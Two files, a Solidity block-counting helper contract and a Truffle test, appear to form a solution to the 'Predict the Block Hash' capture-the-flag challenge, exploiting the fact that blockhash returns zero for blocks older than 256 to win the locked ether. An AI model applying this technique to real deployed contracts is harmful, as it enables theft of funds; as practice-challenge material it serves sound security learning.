Miner.sol

pragma solidity ^0.4.21;

contract Miner {
    uint public blockNumber;
    uint public blocks;

    function Miner() public {
        reset();
    }

    function reset() public {
        blockNumber = block.number;
        blocks = 0;
    }

    function mine() public {
        blocks = block.number - blockNumber;
    }
}

PredictTheBlockHashChallenge.test.js

const PredictTheBlockHashChallenge = artifacts.require('PredictTheBlockHashChallenge');
const Miner = artifacts.require('Miner');

contract('PredictTheBlockHashChallenge', ([account]) => {
  it('can be solved', async () => {
    let challenge = await PredictTheBlockHashChallenge.new({value: web3.toWei(1, 'ether')});
    let miner = await Miner.new();

    // guess with '0x'
    await challenge.lockInGuess('', {value: web3.toWei(1, 'ether')});
    // call miner for 256 blocks
    await miner.reset();
    while (await miner.blocks() < 256) {
      await miner.mine();
    }

    challenge.settle();

    assert(
      await challenge.isComplete() === true,
      'Challenge has not been completed!'
    );
  });
});